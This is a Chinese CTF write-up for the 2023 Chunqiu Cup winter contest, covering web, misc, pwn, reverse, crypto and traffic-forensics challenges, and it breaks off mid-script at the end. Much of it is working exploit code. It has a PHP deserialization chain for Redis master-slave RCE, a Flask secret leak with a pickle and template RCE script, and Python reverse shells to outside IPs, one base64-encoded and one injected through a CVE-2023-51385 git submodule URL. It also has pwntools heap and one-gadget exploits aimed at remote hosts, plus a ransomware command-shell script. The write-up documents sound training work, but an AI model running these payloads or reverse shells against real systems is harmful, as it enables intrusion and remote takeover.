2023年春秋杯网络安全联赛冬季赛 Writeup
文章目录
- Web
- ezezez_php
- picup
- Misc
- 谁偷吃了外卖
- modules
- 明文混淆
- Pwn
- nmanager
- book
- Re
- upx2023
- Crypto
- CF is Crypto Faker
- 挑战题
- 勒索流量
- Ezdede
- 可信计算
Web
ezezez_php
反序列化打redis主从复制RCE:https://www.cnblogs.com/xiaozi/p/13089906.html
<?php
class Rd
{public $ending;public $cl;public $poc;public function __destruct(){// echo "All matters have concluded"."</br>";}public function __call($name, $arg){foreach ($arg as $key => $value) {if ($arg[0]['POC'] == "0.o") {$this->cl->var1 = "get";}}}
}class Poc
{public $payload;public $fun;public function __set($name, $value){$this->payload = $name;$this->fun = $value;}function getflag($paylaod){echo "Have you genuinely accomplished what you set out to do?"."</br>";file_get_contents($paylaod);}
}class Er
{public $symbol;public $Flag;public function __construct(){$this->symbol = True;}public function __set($name, $value){ if (preg_match('/^(http|https|gopher|dict)?:\/\/.*(\/)?.*$/',base64_decode($this->Flag))){$value($this->Flag);}else {echo "NoNoNo,please you can look hint.php"."</br>";}}
}class Ha
{public $start;public $start1;public $start2;public function __construct(){// echo $this->start1 . "__construct" . "</br>";}public function __destruct(){if ($this->start2 === "o.0") {$this->start1->Love($this->start);// echo "You are Good!"."</br>";}}
}function get($url) {// $url=base64_decode($url);// var_dump($url);// $ch = curl_init();// curl_setopt($ch, CURLOPT_URL, $url);// curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);// curl_setopt($ch, CURLOPT_HEADER, 0);// $output = curl_exec($ch);// $result_info = curl_getinfo($ch);// var_dump($result_info);// curl_close($ch);// var_dump($output);
}// Ha::__destruct() -> Rd::__call() -> Er::__set() -> get()// payload 按顺序发,公网上建好evil redis-server
// $payload = "dict://127.0.0.1:6379/config:set:dir:/tmp";
// $payload = "dict://127.0.0.1:6379/config:set:dbfilename:exp.so";
// $payload = "dict://127.0.0.1:6379/slaveof:x.x.x.x:7777";
// $payload = "dict://127.0.0.1:6379/module:load:/tmp/exp.so";
// $payload = "dict://127.0.0.1:6379/slave:no:one";
$payload = "dict://127.0.0.1:6379/system.exec:env";
$Er = new Er();
$Er -> Flag = base64_encode($payload);
$Rd = new Rd();
$Rd -> cl = $Er;
$Ha = new Ha();
$Ha -> start = ['POC'=>'0.o'];
$Ha -> start1 = $Rd;
$Ha -> start2 = 'o.0';echo(serialize($Ha));?>

picup
题目模仿了php后缀,骗人传php上去,以为能解析,结果不能,打下来才发现是python
先正常的登录和注册,注册成功后,上传完成之后回回显一个路径:**/pic.php?pic=**
测试发现能够进行文件读取 测试双写…/ 发现是能够路径穿越的,在/app/app.py下发现了文件源码
/pic.php?pic=..././..././..././..././..././..././..././..././..././..././..././..././..././..././..././..././..././..././app/app.py

import os
import pickle
import base64
import hashlib
from flask import Flask,request,session,render_template,redirect
from Users import Users
from waf import wafusers=Users()app=Flask(__name__)
app.template_folder="./"
app.secret_key=users.passwords['admin']=hashlib.md5(os.urandom(32)).hexdigest()
@app.route('/',methods=['GET','POST'])
@app.route('/index.php',methods=['GET','POST'])
def index():if not session or not session.get('username'):return redirect("login.php")if request.method=="POST" and 'file' in request.files and (filename:=waf(request.files['file'])):filepath=os.path.join("./uploads",filename)request.files['file'].save(filepath)return "File upload success! Path: <a href='pic.php?pic="+filename+"'>"+filepath+"</a>."return render_template("index.html")@app.route('/login.php',methods=['GET','POST'])
def login():if request.method=="POST" and (username:=request.form.get('username')) and (password:=request.form.get('password')):if type(username)==str and type(password)==str and users.login(username,password):session['username']=usernamereturn "Login success! <a href='/'>Click here to redirect.</a>"else:return "Login fail!"return render_template("login.html")@app.route('/register.php',methods=['GET','POST'])
def register():if request.method=="POST" and (username:=request.form.get('username')) and (password:=request.form.get('password')):if type(username)==str and type(password)==str and not username.isnumeric() and users.register(username,password):str1 = "Register successs! Your username is {username} with hash: {{users.passwords[{username}]}}.".format(username=username).format(users=users)return str1else:return "Register fail!"return render_template("register.html")@app.route('/pic.php',methods=['GET','POST'])
def pic():if not session or not session.get('username'):return redirect("login.php")if (pic:=request.args.get('pic')) and os.path.isfile(filepath:="./uploads/"+pic.replace("../","")):if session.get('username')=="admin":return pickle.load(open(filepath,"rb"))else:return '''<img src="data:image/png;base64,'''+base64.b64encode(open(filepath,"rb").read()).decode()+'''">'''res="<h1>files in ./uploads/</h1><br>"for f in os.listdir("./uploads"):res+="<a href='pic.php?pic="+f+"'>./uploads/"+f+"</a><br>"return resif __name__ == '__main__':app.run(host='0.0.0.0', port=80)
理清楚逻辑后发现在注册路由处存在有一个格式化的漏洞 会进行两边format

username可控,我们可以通过此处 把secret_key获取到
app.secret_key=users.passwords['admin']=hashlib.md5(os.urandom(32)).hexdigest()
Burp发送
POST /register.php HTTP/1.1
Host: eci-2zeeg9ho73gvfpqkxn8o.cloudeci1.ichunqiu.com:80
Content-Length: 42
Cache-Control: max-age=0
Origin: http://eci-2zeho6uw3ioi626owa2x.cloudeci1.ichunqiu.com
DNT: 1
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://eci-2zeho6uw3ioi626owa2x.cloudeci1.ichunqiu.com/register.php
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,vi;q=0.7
Cookie: Hm_lvt_2d0601bd28de7d49818249cf35d95943=1699615725; chkphone=acWxNpxhQpDiAchhNuSnEqyiQuDIO0O0O
Connection: closeusername={users.passwords}&password=123456
即可暴露出admin的password

拿到之后就可以利用他来进行 session的构造
pip3 install flask_unsign$$ flask-unsign --sign --cookie '{"username":"admin"}' --secret 294f3d30bab18f91f5cfe2e23881f5ebeyJ1c2VybmFtZSI6ImFkbWluIn0.ZawBeQ.i4Iamt9-7GO5T0vQ0T4G_ZVngDE
此时我们的身份就是admin ,在回到上面的源码;此处存在pickle 反序列化漏洞,但需要admin

构造payload waf限制的太多,直接上传模板,反序列化触发模板 RCE
反序列化 payload
def dumps(filename):class Exploit(object):def __reduce__(self):return (render_template, (f"uploads/{filename}", ))a = Exploit()b = pickle.dumps(a)print(len(b))print((b))with open('uploads/test.pkl','wb') as f:f.write(b)
之后在上传触发
def req(url,payload,filename):print("payload:",len(payload))with open(f"uploads/{filename}", 'w') as file:file.write(payload)files = {'file': (filename, open(f"uploads/{filename}", 'rb'))}response1 = requests.post(url, headers=headers, files=files)# print(response.text)files = {'file': ("test.pkl", open(f"uploads/test.pkl", 'rb'))}response = requests.post(url, headers=headers, files=files)# print(response.text)pickle_loads_url = url+"/pic.php?pic=test.pkl"response3 = requests.get(pickle_loads_url,headers=headers)print(response3.text)pickle_loads_url = url+"/pic.php?pic=test.pkl"response3 = requests.get(pickle_loads_url,headers=headers)print(response3.text)
import random
import pickle
from flask import render_template
import requestsheaders = {'Cookie': "session=eyJ1c2VybmFtZSI6ImFkbWluIn0.Zav8jw.dVtToaA7T1_MHQZTyr9s5LI8fGI"
}
def dumps(filename):class Exploit(object):def __reduce__(self):return (render_template, (f"uploads/{filename}", ))a = Exploit()b = pickle.dumps(a)print(len(b))print((b))with open('uploads/test.pkl','wb') as f:f.write(b)
def req(url,payload,filename):print("payload:",len(payload))with open(f"uploads/{filename}", 'w') as file:file.write(payload)files = {'file': (filename, open(f"uploads/{filename}", 'rb'))}response1 = requests.post(url, headers=headers, files=files)# print(response.text)files = {'file': ("test.pkl", open(f"uploads/test.pkl", 'rb'))}response = requests.post(url, headers=headers, files=files)# print(response.text)pickle_loads_url = url+"/pic.php?pic=test.pkl"response3 = requests.get(pickle_loads_url,headers=headers)print(response3.text)pickle_loads_url = url+"/pic.php?pic=test.pkl"response3 = requests.get(pickle_loads_url,headers=headers)print(response3.text)def rev_shell(ip,port):rev = "L3Vzci9iaW4vcHl0aG9uMy44ICAtYyAnaW1wb3J0IHNvY2tldCxzdWJwcm9jZXNzLG9zO3M9c29ja2V0LnNvY2tldChzb2NrZXQuQUZfSU5FVCxzb2NrZXQuU09DS19TVFJFQU0pO3MuY29ubmVjdCgoIjEuMS4xLjEiLDk5OTkpKTtvcy5kdXAyKHMuZmlsZW5vKCksMCk7IG9zLmR1cDIocy5maWxlbm8oKSwxKTtvcy5kdXAyKHMuZmlsZW5vKCksMik7aW1wb3J0IHB0eTsgcHR5LnNwYXduKCJiYXNoIikn"import base64command = base64.b64encode(base64.b64decode(rev).replace(b"1.1.1.1",ip).replace(b'9999',port)).decode()rev_command = f"&a=echo {command}|base64 -d|bash"pickle_loads_url = url + "/pic.php?pic=test.pkl"print(pickle_loads_url)rev_r = requests.get(url=pickle_loads_url+rev_command,headers=headers)if rev_r.status_code == 200:print(rev_r.url)print("rev shell ")if __name__ == "__main__":ip = b"1.1.1.1"port = b"9999"url = "http://eci-2ze0koz63trpelqirpj2.cloudeci1.ichunqiu.com/"payload = ['{%set x=config.update(a=g.__class__.__mro__[1].__subclasses__())%}','{%set x=config.update(q=config.a[360])%}','{{config.q(request.args.a,shell=1)}}']for p in payload:filename = str(random.randint(1, 1000))dumps(filename)req(url,p,filename)# rev_shell(ip,port)
触发之后就会生成一个可以执行任意命令但是无回显的页面
带上admin cookie 访问 即可获得一个反弹shell
http://eci-2ze0koz63trpelqirpj2.cloudeci1.ichunqiu.com/pic.php?pic=test.pkl&a=echo%20L3Vzci9iaW4vcHl0aG9uMy44ICAtYyAnaW1wb3J0IHNvY2tldCxzdWJwcm9jZXNzLG9zO3M9c29ja2V0LnNvY2tldChzb2NrZXQuQUZfSU5FVCxzb2NrZXQuU09DS19TVFJFQU0pO3MuY29ubmVjdCgoIjE3NS4xNzguNzMuMTQxIiw5OTk5KSk7b3MuZHVwMihzLmZpbGVubygpLDApOyBvcy5kdXAyKHMuZmlsZW5vKCksMSk7b3MuZHVwMihzLmZpbGVubygpLDIpO2ltcG9ydCBwdHk7IHB0eS5zcGF3bigiYmFzaCIpJw==|base64%20-d|bash
获取shell之后 在/app目录下有一个clear.sh的脚本每10分钟以root身份执行一次 普通用户可写
脚本内容 替换为chmod 777 /flag,等待修改权限即可读取flag
Misc
谁偷吃了外卖
图片末尾附加了ZIP压缩包,解压下去得到

很明显应该先把这些用户名中间的数据提取出来按照用户名顺序拼接起来,像是base64,但是base64的填充符号没有-,只有+、/,+这里有了,根据提示猜测把-替换成/,得到的解码是zip数据
import zipfile
import re
import base64with zipfile.ZipFile("C:\\Users\Administrator\\Downloads\\外卖箱.zip", 'r') as zf:fileNameList = zf.namelist()infoDict = {}for fileName in fileNameList:matchedData = re.findall(r'\d{1,}_[a-zA-Z0-9-+=\/]{4}', fileName)if matchedData != []:infoDict[matchedData[0][0:matchedData[0].find('_')]] = matchedData[0][matchedData[0].find('_')+1:]content = ''for idx in range(2, 10898+1):content += infoDict[str(idx)]
with open('C:\\Users\Administrator\\Downloads\\data.zip', 'wb') as f:f.write(base64.b64decode(content.replace('-', '/')))
根据提示这里应该补全zip的文件头

解压出来很明显这里应该是明文攻击了,这里得到第一部分flag

直接ARCHPR跑明文攻击即可,根据这个钥匙.png的描述,应该使用Bandzip进行压缩


解压得到第二部分flag
flag{W1sh_y0u_AaaAaaaaaaaaaaa_w0nderfu1_CTF_journe9}
modules
CVE-2023-51385
gitee一搜一大堆大家刚fork的仓库,直接选一个搭一个顺风车
https://gitee.com/rtpyzaL/CVE-2023-51385_test
执行python脚本 获取shell
[submodule "cve"]path = cveurl = ssh://`python 1.py`foo.ichunqiu.com/bar
import socket,subprocess,os
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("x.x.x.x",7777))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
p=subprocess.call(["/bin/sh","-i"]);

明文混淆
明文攻击

这个LICENSE.txt直接网上找相同大小的

下载LICENSE.txt但是压缩之后发现CRC和题目给的不一样,猜测题目跟这些的还是有不同,不过没关系,不需要那么多的明文,直接用第一行的明文就够了,bkcrack直接爆破得到密钥,然后爆破密码

得到压缩包密码:R05VIEdQTHYz
将混淆的内容直接一步一步执行输出下去就行

<?php
$O00OO0=urldecode("%6E1%7A%62%2F%6D%615%5C%76%740%6928%2D%70%78%75%71%79%2A6%6C%72%6B%64%679%5F%65%68%63%73%77%6F4%2B%6637%6A");
$O00O0O=$O00OO0{3}.$O00OO0{6}.$O00OO0{33}.$O00OO0{30};
$O0OO00=$O00OO0{33}.$O00OO0{10}.$O00OO0{24}.$O00OO0{10}.$O00OO0{24};
$OO0O00=$O0OO00{0}.$O00OO0{18}.$O00OO0{3}.$O0OO00{0}.$O0OO00{1}.$O00OO0{24};
$OO0000=$O00OO0{7}.$O00OO0{13};
$O00O0O.=$O00OO0{22}.$O00OO0{36}.$O00OO0{29}.$O00OO0{26}.$O00OO0{30}.$O00OO0{32}.$O00OO0{35}.$O00OO0{26}.$O00OO0{30};
// var_dump($O00O0O("JE8wTzAwMD0idVNxTHlDandXcFpIaGlLbWZGR1ZUQmFOcllvSXpsZWd4Sk1iUkRVRUFrUWN0bnZzZE9QWGladnVUYWdmY0hiWFloZVdNeUtObEx3U2pvQ25ydEFCeE9RRHNKcGRrUG1JekdFVlJVRnFGSjlmd1hrZWJxYllEYVlHQVd0aWJXeFlSS3BDb1d5cmJsbzBxMnN0bzI5UGJaQkdObExHUnlRNEF0T2dzUFNlc2E5THBkc0VEeVJwVVhzZU5kVjRScDVyUjNtNHNkUkZJR0hPSTJ0bmJQdGxTS3oybEdIYkFHSE53Z3k1TlBiTk5QejROV0M1TnJMMElXU2RtcGQ5RlpJSGVaUDdua0MvRkI9PSI7ZXZhbCgnPz4nLiRPMDBPME8oJE8wT08wMCgkT08wTzAwKCRPME8wMDAsJE9PMDAwMCoyKSwkT08wTzAwKCRPME8wMDAsJE9PMDAwMCwkT08wMDAwKSwkT08wTzAwKCRPME8wMDAsMCwkT08wMDAwKSkpKTs="));$O0O000="uSqLyCjwWpZHhiKmfFGVTBaNrYoIzlegxJMbRDUEAkQctnvsdOPXiZvuTagfcHbXYheWMyKNlLwSjoCnrtABxOQDsJpdkPmIzGEVRUFqFJ9fwXkebqbYDaYGAWtibWxYRKpCoWyrblo0q2sto29PbZBGNlLGRyQ4AtOgsPSesa9LpdsEDyRpUXseNdV4Rp5rR3m4sdRFIGHOI2tnbPtlSKz2lGHbAGHNwgy5NPbNNPz4NWC5NrL0IWSdmpd9FZIHeZP7nkC/FB==";
var_dump('?>'.$O00O0O($O0OO00($OO0O00($O0O000,$OO0000*2),$OO0O00($O0O000,$OO0000,$OO0000),$OO0O00($O0O000,0,$OO0000))));var_dump(gzinflate(base64_decode('U0gtS8zRcFCJD/APDolWT8tJTK8uNswt8DGOrzIsiHfIS4kvNzYzzUj1yVFUVKxVj9W0trcDAA==')));
?>

flag{s1mpL3_z1p_@nd_w365heLl!!!}
Pwn
nmanager
校验函数的seed, 本地跟着跑一个就行了,modify里面没做范围限制,基本是任意写,然后输出, leak出libc后 ogg一把梭就是, 不过没有直接能用的ogg, 把rbp最后弄到bss上就可以了
int __cdecl main(int argc, const char **argv, const char **envp)
{unsigned int v3; // eaxint i; // [rsp+1Ch] [rbp-3C4h]char v6[960]; // [rsp+20h] [rbp-3C0h] BYREFinit(argc, argv, envp);info();v3 = time(0LL);srand(v3);memset(pss, 0, sizeof(pss));for ( i = 0; i <= 0; ++i )pss[i] = characters[rand() % 62];printf("input password: ");__isoc99_scanf("%[^\n]", &ipt);check(&ipt, pss, &ch1, valid, v6);return 0;
}
-----------------------------------------------------------------------
unsigned __int64 __fastcall modify(__int64 a1)
{char buf[24]; // [rsp+10h] [rbp-20h] BYREFunsigned __int64 v3; // [rsp+28h] [rbp-8h]v3 = __readfsqword(0x28u);do{puts("## select the idx you want modify ##");__isoc99_scanf("%d", &n);printf("gender: ");read(0, (void *)(120LL * n + a1), 0x20uLL);printf("age: ");__isoc99_scanf("%lld", 120LL * n + a1 + 32);printf("name: ");read(0, (void *)(120LL * n + a1 + 40), 0x40uLL);printf("[idx%d]:\nname: %s\nage: %lld\ngender: %s\n",(unsigned int)n,(const char *)(120LL * n + a1 + 40),*(_QWORD *)(120LL * n + a1 + 32),(const char *)(120LL * n + a1));puts("quit now?(Y/y)");read(0, buf, 3uLL);}while ( buf[0] != 121 && buf[0] != 89 );return v3 - __readfsqword(0x28u);
}
exp整体略乱
from pwn import *
from LibcSearcher import *
import sys
from ctypes import *
context(arch = 'amd64', os = 'linux', log_level = 'info') #infopath = "./nmanager"
p = process(path)
#p = remote('8.147.131.156', 45025)
elf = ELF(path)
libc = cdll.LoadLibrary("./libc.so.6")def g():gdb.attach(p)raw_input()sl = lambda arg : p.sendline(arg)
sla = lambda arg1, arg2 : p.sendlineafter(arg1, arg2)
sd = lambda arg : p.send(arg)
ru = lambda arg : p.recvuntil(arg)
rl = lambda : p.recvline()
rv = lambda arg : p.recv(arg)
sa = lambda arg1, arg2 : p.sendafter(arg1, arg2)
inv = lambda : p.interactive()ch = b"0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ"seed = libc.time(0)
libc.srand(seed)value = int.to_bytes(ch[libc.rand() % 62], 1, 'little')ru(b'input password: ')
sl(value)bss = 0x404000 + 0x600res = rl()if b'pass' in res:onegadget = [0xebcf1, 0xebcf5, 0xebcf8]sl(b'8')sla(b'der: ', b'BBBBBBB')sla(b'age: ', str(0x20).encode())sla(b'name: ', b'AAAAAAA')ru(b'BBBBBBB')res = rl()libc_base = u64(ru(b'\x7f')[-6:].ljust(0x8, b'\x00')) - 0x29d90log.success('libc_base = ' + hex(libc_base))sla(b'quit now?', b'N')ogg = libc_base + onegadget[0]log.success("ogg = " + hex(ogg))sl(b'8')#g()sla(b'der: ', p64(bss) + p64(ogg))sla(b'age: ', str(0x20).encode())sla(b'name: ', b'AAAAAAA')sla(b'quit now?', b'Y')inv()p.close()
book
经典菜单题, delete功能存在UAF, 而且show 与 edit都没有对应的检查, 没有对申请的大小做限制, 直接house of apple 这些基本都能直接给过,我这里是用我之前写的函数,懒得再过一遍了
//漏洞点
void delete()
{unsigned int v0; // [rsp+4h] [rbp-Ch]printf("Index:");v0 = my_read();free(*((void **)&heap + v0));
}int show()
{unsigned int v1; // [rsp+4h] [rbp-Ch]printf("Index:");v1 = my_read();return puts(*((const char **)&heap + v1));
}char *edit()
{int v1; // [rsp+4h] [rbp-Ch]printf("Index:");v1 = my_read();printf("content: ");return fgets(*((char **)&heap + v1), chunk[v1], stdin);
}
好像存在概率问题, 本地没概率,远程怪怪的, 不过最后加个cat flag基本上就全能命中了
from pwn import *
from LibcSearcher import *
context(arch = 'amd64', os = 'linux', log_level = 'info') #infopath = "./book"
#p = process(path)
p = remote("8.147.131.183", 13743)
elf = ELF(path)
libc = elf.libcdef g():gdb.attach(p)raw_input()sl = lambda arg : p.sendline(arg)
sla = lambda arg1, arg2 : p.sendlineafter(arg1, arg2)
sd = lambda arg : p.send(arg)
ru = lambda arg : p.recvuntil(arg)
rl = lambda : p.recvline()
rv = lambda arg : p.recv(arg)
sa = lambda arg1, arg2 : p.sendafter(arg1, arg2)
inv = lambda : p.interactive()def house_of_cat(heap_addr, vtables,first_exec=0, dif=0, rbp=0):if dif == 0:payload = p64(0) * 3 #_IO_stderr_2_1 && _wide_datapayload += p64(1) + p64(2) # fp->_wide_data->_IO_write_base < fp->_wide_data->_IO_write_ptrelse:payload = p64(0) + p64(1) + p64(2)payload = payload.ljust(0x38 - dif, b'\x00') + p64(heap_addr + 0x40) #springboardpayload = payload.ljust(0x48 - dif, b'\x00') + p64(rbp) #_IO_save_base --> rbppayload += p64(0) * 4payload = payload.ljust(0xa0 - dif, b'\x00') + p64(heap_addr) #it -> _wide_data_payload = payload.ljust(0xc0 - dif, b'\x00') + p64(1) #fp->_modepayload = payload.ljust(0xd8 - dif, b'\x00') + p64(vtables) #fp->vtablespayload += p64(heap_addr + 0xe0) #springboardpayload = payload.ljust(0xf8 - dif, b'\x00') + p64(first_exec) #target call_addrreturn payloaddef choice(num):ru(b'> ')sl(str(num).encode())def add(index, size):choice(1)ru(b'Index:')sl(str(index).encode())ru(b'what size :')sl(str(size).encode())def free(index):choice(2)ru(b'Index:')sl(str(index).encode())def show(index):choice(3)ru(b'Index:')sl(str(index).encode())def edit(index, content):choice(4)ru(b'Index:')sl(str(index).encode())ru(b'content: ')sl(content)add(11, 0x20)
add(12, 0x20)
free(11)
free(12)show(11)
a = int.from_bytes(p.recv(5), 'little')show(12)
b = int.from_bytes(p.recv(6), 'little')heap_base = (a ^ b) - 0x2a0
log.success("heap_base = " + hex(heap_base))add(0, 0x30)
add(1, 0x450)
add(2, 0x30)
add(3, 0x440)
add(4, 0x30)free(1)show(1)
libc.address = libc_base = u64(ru(b'\x7f')[-6:].ljust(0x8, b'\x00')) - 0x219ce0
log.success("libc_base = " + hex(libc_base))_IO_list_all = libc_base + 0x21a680
vtables = libc_base + 0x2160c0 + 0x30add(5, 0x480)
free(3)pay1 = p64(libc_base + 0x21a0e0) * 2 + p64(heap_base + 0x330) + p64(_IO_list_all - 0x20)edit(1, pay1)
add(6, 0x480)pop_rsi = next(libc.search(asm("pop rsi; ret")))
pop_rdx = libc_base + 0x00000000000796a2
pop_rbp = libc_base + 0x000000000002a2e0
pop_r12_r13_r14_r15 = next(libc.search(asm("pop r12; pop r13; pop r14; pop r15; ret")))
leave_ret = next(libc.search(asm("leave; ret")))ogg = libc_base + 0xebc88ans = p64(0) + p64(pop_r12_r13_r14_r15) + p64(0) + p64(heap_base + 0x1100) + p64(leave_ret) * 2
ans += p64(pop_rdx) + p64(0) + p64(pop_rsi) + p64(0) + p64(pop_rbp) + p64(heap_base + 0x100) + p64(ogg)
edit(6, ans)magicgadget = libc_base + 0x000000000016a25apayload = house_of_cat(heap_base + 0x7d0, vtables, magicgadget, 0x10, heap_base + 0x1100)
edit(3, payload)#g()
choice(5)
sl(b'cat flag')inv()
Re
upx2023
脱壳不能工具直接脱, 修改了特征,用010将里面的upx改成UPX就能直接脱壳了, 里面用的是一个随机数,但是随机数这玩意就是伪随机的, 所以主要是那个seed, time(NULL),所以得获取当时的时间, 看PE里面有文件生成的时间,基本就这个时间前了,加密函数change,每隔3个拿一个,然后每2个拿一个, 最后隔1个拿一个, 就是一个映射基本上, 每次变换过去的位置都一样, 提示是有flag{}包裹的, 所以对比flag{}之后的位置, 把seed跑出来就行了
unsigned int b = 1685762996;
for (int j = 0; j < b + 0x1000; j++) {srand(j);c = rand() % 255;if (c != 0x6f) continue;c = rand() % 255;if (c != 0x18) continue;for (int k = 0; k < 9; k++) rand();c = rand() % 255;if (c != 0xaa) continue;c = rand() % 255;if (c != 0x2) continue;for (int k = 0; k < 18; k++) rand();c = rand() % 255;if (c != 0x80) continue;c = rand() % 255;if (c == 0x9b) {printf("%ld, ", j);}}
这里最后有结果的就是1682145110, 异或输出一下基本就能看到就是flag
unsigned char data[42] = {0x09, 0x63, 0xD9, 0xF6, 0x58, 0xDD, 0x3F, 0x4C, 0x0F, 0x0B, 0x98, 0xC6, 0x65, 0x21, 0x41, 0xED,0xC4, 0x0B, 0x3A, 0x7B, 0xE5, 0x75, 0x5D, 0xA9, 0x31, 0x41, 0xD7, 0x52, 0x6C, 0x0A, 0xFA, 0xFD,0xFA, 0x84, 0xDB, 0x89, 0xCD, 0x7E, 0x27, 0x85, 0x13, 0x08};srand(1682145110);for (int i = 0; i < 42; i++) {c = rand() % 255;printf("%c", data[i] ^ c);}
//f{52bgb-281lg00ff-46f7-ca009c8e}a381-b7191
因为最后也就是一个映射, 这里随便扔一组全不一样的进去,然后经过对比得到映射表,跟着表输出就是
char res[] = "f{52bgb-281lg00ff-46f7-ca009c8e}a381-b7191";char s1[] = "flag{1234567890QWERTYUIOPASDFGHJKLZXCVBNM}";char r1[] = "f{48WYPFKCMlg13579QETUOADGJLXVN}a260RISHZB";for (int i = 0; i < 42; i++) {for (int j = 0; j < 42; j++) {if (s1[i] == r1[j]) {printf("%c", res[j]);}}}
//flag{0305f8f2-14b6-fg7b-bc7a-010299c881e1}
Crypto
CF is Crypto Faker
import gmpy2
import initialize
from Crypto.Util.number import *n = 0x81c5f040bfaea676120cd62c36ba7afb303561504bbf8609afa3da60fb6202ca875b0bd2a06143ebcd16fa615557ff159d97909160d68e1938b3ecaf57709b3d2698476b6dd203811b6a2ec6a6e2a7e213ab719bcd3ab49bb864b10e9c78ea3f501c0e2213dfe431043bb6f0cc2e8d77bfb43869b843af1a99ae81b87811e101
r = 0x4f37fe985d13ffde9867fa0063f68dea79196408b1404eadf03ea59297d629c2183a4a6a6647b6c4c99dd43bae8c4fa4691a608d20170fd42b18aef7efb3ae01cd3
q = gmpy2.gcd(n,r)
p = n // q
phi0 = (p - 1) * (q - 1)
# parameters = initialize.initialize(p, q)
# wild_phi = parameters[0]
# wild_e = parameters[1]
trained_phi = 0x81c5f040bfaea676120cd62c36ba7afb303561504bbf8609afa3da60fb6202ca875b0bd2a06143ebcd16fa615557ff159d97909160d68e1938b3ecaf57709b3bb712fdcba325655f111918472d4353a66854ccda50b63a1047278c15a4b39cde898d054db87092958c7c05f8fa566dcd969b1ff4b7d1935c375a4af3bfc341b0
trained_e = 0x2c22193ad9abcca2f67552fc76dd07b3ef883f3d755c95119cdf82bb6a07c970fd37e582bb49250d8efaa29b8a59c82059165c654206a9d7261f6b45a90dc69
c1 = 0x29289e3d9275147b885b5061637564cbee3e4d9f48e52694e594f020e49da9b24d9246b2437fb2221fa86ca1a277f3fdd7ab5cad4738a02b66d47703ef816844a84c6c209c8251e8961c9ba2c791649e022627f86932d9700c3b1dc086e8b2747d0a5604955387a935464d3866dd4100b2f3d57603c728761d1d8ef7fdbdcbee
c2 = 0x2b0059f88454e0e36269c809b5d5b6b28e5bab3c87b20f9e55635239331100a0a582241e7a385034698b61ebf24b519e868617ff67974cc907cc61be38755737f9a6dbeb7890ff55550b1af1ecf635112fcaaa8b07a3972b3c6728cbcf2a3973a4d7bd92affec7e065e0ae83cd36858e6d983785a3668a8b82709d78a69796af
print(trained_phi == phi0)
d = gmpy2.invert(trained_e,trained_phi)
m1 = pow(c1,d,n)
m2 = pow(c2,d,n)
flag = b"flag{" + long_to_bytes(m1) + long_to_bytes(m2) + b".}"
print(flag)
挑战题
勒索流量
经典的蚁剑流量,tcp.stream eq 41有一个docx但是没什么内容,没有找到flag


tcp.stream eq 48发现s3creT.txt

tcp.stream eq 49发现脚本

import socket
from Crypto.Cipher import ARC4
import base64
import os
import json
import hashlibdef calculate_md5(string):md5_hash = hashlib.md5()md5_hash.update(string.encode('utf-8'))md5_hex = md5_hash.hexdigest()return md5_hexfrom Crypto.Cipher import ARC4
import base64
import jsonwith open("./s3creT.txt", "r") as f:key = f.read()
key = calculate_md5(key)def rc4_encrypt(data, key1):key = bytes(key1, encoding='utf-8')enc = ARC4.new(key)res = enc.encrypt(data.encode('utf-8'))res = base64.b64encode(res)res = str(res, 'utf-8')return resdef rc4_decrypt(data, key1):data = base64.b64decode(data)key = bytes(key1, encoding='utf-8')enc = ARC4.new(key)res = enc.decrypt(data)res = str(res, 'gbk', errors='ignore')return resdef t1(data):import refrom datetime import datetime, timedeltacurrent_time = datetime.now()target_time = current_time.replace(second=0, microsecond=0)timestamp = int(target_time.timestamp())key1 = hex(timestamp)[2:].zfill(8)key1 = re.findall(r'.{2}', key1)key1 = [int(i, 16) for i in key1]data = list(data)for i in range(len(data)):data[i] = chr(ord(data[i]) ^ key1[i % 4])data = ''.join(data)return datadef decrypt(data, key):data = t1(data)data = rc4_decrypt(data, key)return datadef encrypt(data, key):data = rc4_encrypt(data, key)data = t1(data)return datadef system(cmd):res = os.popen(cmd).read()return res if res else "NoneResult"def main():ip = '192.168.31.42'port = 8899socket_server = socket.socket(family=socket.AF_INET, type=socket.SOCK_STREAM)socket_server.bind((ip, port))socket_server.listen(1)while True:conn, addr = socket_server.accept()with conn:print("connect::", addr)try:while True:data = conn.recv(102400)# print("server recevie peername and data:", conn.getpeername(), data.decode())if data:data = data.decode()data = decrypt(data, key)data = json.loads(data)if data["opcode"] == "shell":print("shellCMD::", data["msg"])res = system(data["msg"])print("res::", res)conn.sendall(encrypt(res, key).encode())else:breakexcept ConnectionResetError as e:print("远程连接æ–å¼€")if __name__ == '__main__':main()
通信端口和通信IP都有了,直接过滤即可,根据提示使用这个Epoch Time作为解密时的时间戳。
但是这个后面在tcp.stream eq 58发现又传了一遍这个脚本,这有点可疑。

和之前的对比发现修改了端口

ip.src==192.168.31.42 and tcp.srcport==9999 and data

直接修改脚本进行解密,把时间戳填进去
import socket
from Crypto.Cipher import ARC4
import base64
import os
import json
import hashlibdef calculate_md5(string):md5_hash = hashlib.md5()md5_hash.update(string.encode('utf-8'))md5_hex = md5_hash.hexdigest()return md5_hexfrom Crypto.Cipher import ARC4
import base64
import json# with open("./s3creT.txt", "r") as f:
# key = f.read()
key = "R@ns0mwar3_V1ru5"
